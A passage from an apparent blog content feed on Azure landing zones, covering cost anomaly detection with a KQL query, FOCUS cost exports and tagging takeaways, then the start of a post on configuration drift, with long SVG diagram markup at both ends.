fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='132' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='228' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='84' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='228' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='84' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='228' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='132' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='84' fill='currentColor' style='font-size:1em'\u003eF\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='100' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='132' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='84' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='84' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='132' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='100' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='4' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='84' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='132' fill='currentColor' style='font-size:1em'\u003e8\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='84' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='132' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='84' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='100' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='132' fill='currentColor' style='font-size:1em'\u003e%\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='84' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='132' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003e0\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='132' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='132' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='84' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='84' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='100' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='132' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='84' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='100' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='132' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='84' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='100' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='472' y='132' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='84' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='100' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='132' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='100' fill='currentColor' style='font-size:1em'\u003e)\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='180' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='536' y='196' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='544' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='180' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='560' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='196' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='196' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='196' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='196' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='600' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='180' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='196' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='180' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='196' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='196' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='180' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='196' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='180' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='180' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='196' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='180' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003ch2 id=\"4-cost-anomaly-detection\"\u003e4. Cost Anomaly Detection\u003c/h2\u003e\n\u003cp\u003eBudget alerts catch predictable overruns. Anomaly detection catches the weird ones — like a developer who accidentally picked \u003ccode\u003eStandard_M416ms_v2\u003c/code\u003e instead of \u003ccode\u003eStandard_B2s\u003c/code\u003e and walked away for the weekend. Azure Cost Management uses deep learning models to distinguish between a legitimate month-end batch spike and an unexpected one. Combined with KQL queries against the \u003ccode\u003eUsage\u003c/code\u003e table, you can surface \u0026ldquo;Top Movers\u0026rdquo; and route them to your platform SREs before the cost compounds.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode class=\"language-kusto\" data-lang=\"kusto\"\u003e// KQL: Resource Groups with \u0026gt; $100/day increase\nUsage\n| where TimeGenerated \u0026gt; ago(7d)\n| summarize DailyCost = sum(PreTaxCost) by bin(TimeGenerated, 1d), ResourceGroup\n| serialize\n| extend PrevDailyCost = prev(DailyCost)\n| extend CostChange = DailyCost - PrevDailyCost\n| where CostChange \u0026gt; 100\n| project Date = TimeGenerated, ResourceGroup, DeltaUSD = round(CostChange, 2)\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"5-finops-visibility-with-focus-v13\"\u003e5. FinOps Visibility with FOCUS v1.3\u003c/h2\u003e\n\u003cp\u003eStandardize your cost exports using the \u003cstrong\u003eFOCUS v1.3\u003c/strong\u003e format. This normalizes Azure cost data into a cloud-agnostic schema, so your finance team can use the same reporting tools across AWS, Azure, and GCP without manually remapping fields every time someone asks for a cross-cloud cost breakdown.\u003c/p\u003e\n\u003ch2 id=\"key-takeaways\"\u003eKey Takeaways\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\u003cstrong\u003eTags are the Metadata of Cost:\u003c/strong\u003e Without enforced tags, FinOps is just guesswork.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eForecast over Actual:\u003c/strong\u003e Use forecasted alerts to get days of warning instead of hours.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eVending includes Budgets:\u003c/strong\u003e A subscription without a budget is invisible until the bill arrives.\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAudit Mode First:\u003c/strong\u003e Run your tagging policies in Audit mode for 7 days before switching to Deny.\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003cstrong\u003eNext Steps:\u003c/strong\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRead \u003ca href=\"/posts/azure-landing-zone-ops/\"\u003eDay-2 Operations: Maintaining and Evolving Your Azure Landing Zone\u003c/a\u003e to learn how to maintain these cost controls using automated drift detection.\u003c/li\u003e\n\u003cli\u003eReturn to \u003ca href=\"/posts/azure-landing-zone-guide/\"\u003eAzure Platform Engineering: The Complete Guide to Building an Enterprise Landing Zone\u003c/a\u003e to see how cost governance integrates into the full Landing Zone Blueprint.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"sources\"\u003eSources\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://focus.finops.org/\"\u003eFinOps Foundation: FOCUS Specification v1.3\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#tags\"\u003eMicrosoft Learn: Azure Policy Built-in Definitions for Tags\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/consumption_budget_subscription\"\u003eTerraform Registry: azurerm_consumption_budget_subscription\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://learn.microsoft.com/en-us/azure/templates/microsoft.consumption/budgets\"\u003eBicep Reference: Microsoft.Consumption budgets\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n","description":"Master Azure cost governance by automating tagging enforcement, budget alerts, and anomaly detection. Build a FinOps-ready landing zone using Terraform and Bicep.","image":"images/featured.webp","permalink":"https://larryjameshenry.com/posts/azure-landing-zone-costs/","title":"Cost Governance in the Landing Zone: Tagging Enforcement, Budgets, and FinOps Automation"},{"content":"\u003cp\u003eDeploying your landing zone was the easy part. Now you have to live with it.\u003c/p\u003e\n\u003cp\u003eThe most common failure mode in platform engineering is not a bad initial deployment — it is treating the landing zone as a finished project rather than an ongoing product. Azure releases new services and deprecates old ones. Organizational requirements change. Configuration drift is not a hypothetical risk; it is a certainty. Without an operational strategy that anticipates these pressures, a well-governed environment gradually becomes a collection of special cases and undocumented manual changes. This guide teaches you the habits and technical patterns required to maintain a healthy, evolving foundation.\u003c/p\u003e\n\u003ch2 id=\"1-managing-configuration-drift\"\u003e1. Managing Configuration Drift\u003c/h2\u003e\n\u003cp\u003eDrift takes two forms: \u003cstrong\u003eIaC State Drift\u003c/strong\u003e (code vs. actual resources) and \u003cstrong\u003ePolicy Compliance Drift\u003c/strong\u003e (actual resources vs. security standards).\u003c/p\u003e\n\u003ch3 id=\"automated-drift-remediation-loop\"\u003eAutomated Drift Remediation Loop\u003c/h3\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 736 313\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 112,64 L 360,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,160 L 640,160' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 112,224 L 360,224' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 376,272 L 640,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,8 L 104,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,64 L 104,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 104,224 L 104,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,16 L 368,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,120 L 368,136' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,176 L 368,240' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,272 L 368,288' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 648,16 L 648,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 368,168 L 368,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='368.000000,64.000000 356.000000,58.400002 356.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 360.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='368.000000,224.000000 356.000000,218.399994 356.000000,229.600006' fill='currentColor' transform='rotate(0.000000, 360.000000, 224.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='648.000000,160.000000 636.000000,154.399994 636.000000,165.600006' fill='currentColor' transform='rotate(0.000000, 640.000000, 160.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='648.000000,272.000000 636.000000,266.399994 636.000000,277.600006' fill='currentColor' transform='rotate(0.000000, 640.000000, 272.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='196' fill='currentColor' style='font-size:1em'\u003e4\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='212' fill='currentColor' style='font-size:1em'\u003e5\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='196' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='212' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='196' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='212' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='196' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='212' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eH\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='36' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='52' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='196' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='212' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='196' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='212' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003ef\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='196' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='212' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eC\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='52' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='196' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='36' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='196' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='212' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='52' fill='currentColor' style='font-size:1em'\u003em\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='196' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='4' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='36' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='196' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='152' y='212' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='36' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='196' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='212' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='4' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='36' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='52' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='168' y='212' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='176' y='212' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='52' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='184' y='212' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='52' fill='currentColor' style='font-size:1em'\u003e`\u003c/text\u003e\n\u003ctext text-anchor='middle' x='192' y='212' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='200' y='212' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='208' y='212' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='216' y='212' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='288' 